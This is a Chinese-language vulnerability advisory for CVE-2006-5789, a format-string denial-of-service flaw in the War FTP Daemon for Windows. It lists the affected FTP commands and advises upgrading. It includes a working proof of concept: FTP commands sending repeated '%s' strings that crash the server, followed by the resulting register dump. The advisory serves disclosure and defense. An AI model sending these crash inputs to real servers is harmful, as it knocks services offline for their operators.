CVE:CVE-2006-5789
CNNVD:CNNVD-200611-119
War FTP Daemon（warftpd）是一款用于Windows平台中的免费FTP服务器，它支持多重连接、用户权限设置和磁盘配额限制等。 
WarFTPd在处理多个命令的畸形参数时存在漏洞，远程攻击者可能利用此漏洞对服务器造成拒绝服务。
如果向各种命令发送了包含有两次"%s"字符的超长字符串的话，就会导致WarFTPd拒绝服务。例如，发送以下命令：   
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256
或者： 
ftp> cdup %s*256
就会导致服务器崩溃：
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540
00431540   8A08             MOV CL,BYTE PTR DS:[EAX]
目前已知至少以下命令受这个漏洞影响：
    CWD
    CDUP
    DELE
    NLST
    LIST
    SIZE
solution:Upgrade jgaa warftpd to a higher version than 1.82.00_rc11,and avoid the version 1.82.00_rc11